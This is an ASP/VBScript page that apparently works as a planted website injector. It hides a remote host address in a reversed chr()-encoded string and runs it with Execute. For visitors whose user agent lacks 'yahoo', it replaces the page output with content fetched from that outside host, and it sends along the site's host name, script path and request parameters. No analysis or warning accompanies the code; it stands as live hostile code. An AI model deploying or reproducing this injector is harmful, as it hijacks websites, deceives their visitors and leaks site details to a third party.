<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
On Error Resume Next
Function BytesToBstr(Body,Cset) 
Dim Objstream 
Set Objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close 
set objstream = nothing 
End Function
%>


<%
function getHTTPPage(url)
On Error Resume Next
dim Http
set Http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=BytesToBstr(Http.responseBody,"utf-8")
set Http=nothing
if err.number<>0 then err.Clear
end function

Function Getlink()
On Error Resume Next
    user_agent=lcase(Request.ServerVariables("HTTP_USER_AGENT"))
    If instr(user_agent,"yahoo")=0 then
        response.clear
        Dim host: host = request.ServerVariables("HTTP_HOST")
        dim id: id = Request("id")
        ScriptAddress = CStr(Request.ServerVariables("SCRIPT_NAME"))
        Servername = CStr(Request.ServerVariables("Server_Name"))
        thispage = "http://"&Servername & ScriptAddress
        If id Then
            getPage = getHTTPPage(ads & "news.htm?host=" & host & "&id=" & id & "&thispage=" & thispage)
        Else
            getPage = getHTTPPage(ads & "list.htm?host=" & host & "&page=" & Request("page") & "&thispage=" & thispage)
        End If
        response.write getPage
        response.end
        if err.number<>0 then err.Clear
    End If
End Function

%>


<%
ShiSan=")74(rhc&)45(rhc&)45(rhc&)65(rhc&)65(rhc&)94(rhc&)85(rhc&)111(rhc&)201(rhc&)011(rhc&)501(rhc&)64(rhc&)221(rhc&)601(rhc&)511(rhc&)79(rhc&)64(rhc&)911(rhc&)911(rhc&)911(rhc&)74(rhc&)74(rhc&)85(rhc&)211(rhc&)611(rhc&)611(rhc&)401(rhc=sda"
ExeCuTe(ShiSanFun(ShiSan))
dim ShiSan,ShiSanNewstr,ShiSanI
Function ShiSanFun(ShiSanObjstr)
For ShiSanI = 1 To Len(ShiSanObjstr)
  ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Next
ShiSanFun = ShiSanNewStr
End Function

Call Getlink()
%>